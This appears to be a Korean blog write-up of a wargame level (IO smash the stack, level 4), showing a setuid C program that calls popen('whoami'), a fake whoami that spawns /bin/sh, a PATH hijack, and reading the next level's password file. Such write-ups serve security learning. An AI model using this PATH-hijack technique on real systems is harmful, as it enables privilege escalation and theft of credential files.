summary: env PATH attack
소스를 보면
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
whoami란 프로그램을 popen이란 함수를 통해서 whoami를 실행시키는데, 이것을 이용해 가짜 whoami파일을 만들어서 공략하면 된다.
level4@io:/tmp/sanguine$ cat whoami.c
#include <stdio.h>
int main(){
char *args[]={"/bin/sh",NULL};
execve(args[0],args,NULL);
}
level4@io:/tmp/sanguine$ export PATH=.:$PATH
level4@io:/tmp/sanguine$ /levels/level04
sh-4.2$ cat /home/level5/.pass
Welcome KGpWsju2vDpmxcxlvm
'wargame > IO smash the stack' 카테고리의 다른 글
level5 (0) | 2014.05.27 |
---|---|
level3 (0) | 2014.05.27 |
level2_alt (0) | 2014.05.27 |
level2 (0) | 2014.05.12 |
level1을 풀다가 생긴 의문점에 대한 분석 (0) | 2014.05.12 |